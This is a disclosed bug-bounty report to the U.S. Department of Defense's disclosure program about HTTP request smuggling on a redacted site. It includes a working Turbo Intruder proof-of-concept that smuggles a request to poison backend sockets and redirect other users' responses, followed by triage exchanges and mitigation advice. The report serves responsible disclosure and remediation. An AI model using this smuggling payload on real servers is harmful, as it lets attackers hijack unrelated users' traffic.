6

Request smuggling on [redacted]

Share:

State ○ Resolved (Closed)

Disclosed **October 9, 2019 12:12am +0530**

Reported To **U.S. Dept Of Defense**

Weakness HTTP Request Smuggling

Severity High (7 ~ 8.9)

Participants

Visibility Disclosed (Full)

Collapse

SUMMARY BY ALBINOWAX

I've posted a full writeup over at https://portswigger.net/blog/http-desync-attacks-request-smuggling-reborn

TIMELINE · EXPORT

albinowax submitted a report to **U.S. Dept Of Defense**. Apr 4th (6 months ago)

Summary:

Description:
The sites at [redacted] and ww.[redacted] are vulnerable to backend socket poisoning which enables attackers to hijack responses to other users.

This vulnerability occurs because the backend server regards `\n` as a valid header ending, whereas the backend only thinks `\r\n` is valid. This means it's possible to send requests that are interpreted differently by the two servers, leading to backend socket poisoning.

Impact

Unauthenticated, remote attackers can randomly redirect active users to malicious websites, with no user-interaction required.

Step-by-step Reproduction Instructions

To replicate this with minimal risk of affecting legitimate users we'll target stage.[redacted] instead of [redacted], and use the following turbo intruder script:

I've hard-coded the endpoint to [redacted] because it appears that you've got multiple endpoints for stage.[redacted] and some are not vulnerable.

```
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint='https://[redacted]:443',
                           concurrentConnections=5,
                           requestsPerConnection=1,
                           pipeline=False,
                           maxRetriesPerRequest=0
                           )
    engine.start()

    attack = '''POST /[redacted] HTTP/1.1
Fooz: bar\nTransfer-Encoding: chunked
Host: stage.[redacted]
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
```

```
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
Foo: bar

0

GET[redacted] HTTP/1.1
X: X'''

    engine.queue(attack)

    victim = '''GET /foo.jpg?x=%s HTTP/1.1
Host: stage.[redacted]
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: keep-alive

'''
    for i in range(15):
        engine.queue(victim, i)
        time.sleep(0.2)


def handleResponse(req, interesting):
    table.add(req)
```

You should observe that one of the responses to a victim request is a 302 redirect to [redacted]

Suggested Mitigation/Remediation Actions

When I resolve stage.[redacted] I get a bunch of IP addresses, and only some of these appear to be vulnerable. As such, you should be able to resolve this issue by making these servers consistent:

```
stage.[redacted].    59   IN   A    [redacted]
stage.[redacted].    59   IN   A    [redacted]
stage.[redacted].    59   IN   A    [redacted]
stage.[redacted].    59   IN   A    [redacted]
stage.[redacted].    59   IN   A    [redacted]
stage.[redacted].    59   IN   A    [redacted]
```

Impact

Unauthenticated, remote attackers can randomly redirect active users to malicious websites, with no user-interaction required. Socket poisoning also enables a variety of other attacks which I haven't time to explore on your site.

BOT: U.S. Dept Of Defense posted a comment. Apr 4th (6 months ago)

Greetings from the Department of Defense (DoD),

Thank you for supporting the DoD Vulnerability Disclosure Program (VDP).

By submitting this report, you acknowledge understanding of, and agreement to, the DoD Vulnerability Disclosure Policy as detailed at @DeptofDefense.

The VDP Team will review your report to ensure compliance with the DoD Vulnerability Disclosure Policy. If your report is determined to be out-of-scope, it will be closed without action.

We will attempt to validate in-scope vulnerability reports and may request additional information from you if necessary. We will forward reports with validated vulnerabilities to DoD system owners for their action.

Our goal is to provide you with status updates not less than every two weeks until the reported vulnerability is resolved.

Regards,

The VDP Team

ag3nt-j1 changed the status to ○ **Needs more info**. Updated Sep 27th (14 days ago)

Wow, this was pretty cool. I watched your presentation back in January and read your post on this but never had a chance to play with it. I just spent part of the day tweaking your script, think I may have got carried away with some of my testing but really cool seeing this used for poisoning in a real work example.

Question I had was the url[redacted], is this your own personal collab client or something else?

Anyway, I'm leaving the office for the day but will be processing this report when I get in tomorrow morning.

albinowax changed the status to ○ **New**. Updated Oct 4th (7 days ago)

Yes, since `burpcollaborator.net` is heavily blacklisted I've switched to using `[redacted]` which is just my personal collaborator server and could be swapped for any domain. The `/user` path in the PoC is required to trigger a redirect from the `stage.[redacted]` server.

This report is only tangentially related to the presentation from January; Turbo Intruder makes life a lot easier but you could also replicate the vulnerability manually using cURL/ncat with enough effort. I'm currently doing some research on this attack technique which I hope to present this summer.

ag3nt-j1 updated the severity to High. Apr 12th (6 months ago)

ag3nt-j1 changed the status to ○ **Triaged**. Apr 12th (6 months ago)

Greetings,

We have validated the vulnerability you reported and are preparing to forward this report to the affected DoD system owner for resolution.

Thank you for bringing this vulnerability to our attention!

We will endeavor to answer any questions the system owners may have regarding this report; however, there is a possibility we will need to contact you if they require more information to resolve the vulnerability.

You will receive another status update after we have confirmed your report has been resolved by the system owner. If you have any questions, please let me know.

Thanks again for supporting the DoD Vulnerability Disclosure Program.

Regards,

The VDP Team

ag3nt-j1 posted a comment. Jun 28th (4 months ago)

@albinowax I'm working with the system owner to try and resolve the issue reported. Do you have anything on hand that might help these folks remediate this?

albinowax posted a comment. Jun 28th (4 months ago)

You could make the frontend reject or nomalise requests if a header contains `\n`. Or make it respect the RFC and treat `\n` as a valid header ending.

Or you could make the backend reject requests that specify both a `Content-Length` and `Transfer-Encoding: chunked`. When it rejects them, it should also close the connection.

ag3nt-j1 closed the report and changed the status to ○ **Resolved**. Aug 9th (2 months ago)

Good news!

The vulnerability you reported has been resolved and this report is now closed. If you have any further questions or disagree that the report is resolved, please let us know.

Looks like this has been resolved, system owner made multiple changes and looks like they have been successful.

Thank you for your time and effort to improve the security of the DoD information network.

Regards,

The VDP Team

albinowax requested to disclose this report. Aug 10th (2 months ago)

Great! Could be disclose this?

agent-1 agreed to disclose this report. Oct 9th (3 days ago)

Disclosure approved

This report has been disclosed. Oct 9th (3 days ago)